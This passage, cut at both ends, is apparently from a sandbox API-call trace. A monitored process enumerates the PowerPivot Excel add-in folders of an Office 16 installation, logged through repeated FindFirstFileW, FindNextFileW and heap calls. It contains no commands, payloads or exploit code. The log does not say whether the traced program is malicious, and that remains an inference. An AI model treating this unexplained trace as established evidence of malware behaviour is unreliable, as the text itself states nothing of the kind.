ftLastWriteTime.dwLowDateTime=0x86cced8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0282.114] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0df27d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0282.116] GetProcessHeap () returned 0xaf0000 [0282.116] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0282.116] GetProcessHeap () returned 0xaf0000 [0282.116] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0282.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0282.119] GetProcessHeap () returned 0xaf0000 [0282.119] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0282.119] GetProcessHeap () returned 0xaf0000 [0282.119] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0282.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0282.121] GetProcessHeap () returned 0xaf0000 [0282.122] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.123] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf145ad52, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf145ad52, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf145ad52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.123] GetProcessHeap () returned 0xaf0000 [0282.123] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.123] GetProcessHeap () returned 0xaf0000 [0282.123] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.124] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.124] GetProcessHeap () returned 0xaf0000 [0282.124] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.124] GetProcessHeap () returned 0xaf0000 [0282.124] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.124] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1755c61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.125] GetProcessHeap () returned 0xaf0000 [0282.125] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.125] GetProcessHeap () returned 0xaf0000 [0282.125] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.125] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.125] GetProcessHeap () returned 0xaf0000 [0282.125] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.126] GetProcessHeap () returned 0xaf0000 [0282.126] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.126] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.126] GetProcessHeap () returned 0xaf0000 [0282.126] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.126] GetProcessHeap () returned 0xaf0000 [0282.126] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.126] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.127] GetProcessHeap () returned 0xaf0000 [0282.127] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.127] GetProcessHeap () returned 0xaf0000 [0282.127] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.127] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.127] GetProcessHeap () returned 0xaf0000 [0282.127] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.127] GetProcessHeap () returned 0xaf0000 [0282.127] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.128] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.128] GetProcessHeap () returned 0xaf0000 [0282.128] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.128] GetProcessHeap () returned 0xaf0000 [0282.128] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.128] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e6a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.131] GetProcessHeap () returned 0xaf0000 [0282.131] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.131] GetProcessHeap () returned 0xaf0000 [0282.131] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.131] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42fef17, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.133] GetProcessHeap () returned 0xaf0000 [0282.133] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.133] GetProcessHeap () returned 0xaf0000 [0282.133] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.135] GetProcessHeap () returned 0xaf0000 [0282.135] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.135] GetProcessHeap () returned 0xaf0000 [0282.135] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.135] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.135] GetProcessHeap () returned 0xaf0000 [0282.135] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.135] GetProcessHeap () returned 0xaf0000 [0282.136] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.136] GetProcessHeap () returned 0xaf0000 [0282.136] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.136] GetProcessHeap () returned 0xaf0000 [0282.136] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0282.169] GetProcessHeap () returned 0xaf0000 [0282.169] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.170] GetProcessHeap () returned 0xaf0000 [0282.170] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.170] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.172] GetProcessHeap () returned 0xaf0000 [0282.172] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.173] GetProcessHeap () returned 0xaf0000 [0282.173] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.173] GetProcessHeap () returned 0xaf0000 [0282.173] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.173] GetProcessHeap () returned 0xaf0000 [0282.173] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0282.174] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.174] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.174] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.174] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0282.174] GetProcessHeap () returned 0xaf0000 [0282.174] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.174] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1043", cAlternateFileName="")) returned 1 [0282.174] GetProcessHeap () returned 0xaf0000 [0282.174] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.174] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.175] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.175] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.175] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.175] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0282.175] GetProcessHeap () returned 0xaf0000 [0282.175] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.175] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1044", cAlternateFileName="")) returned 1 [0282.176] GetProcessHeap () returned 0xaf0000 [0282.176] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.176] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.176] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, 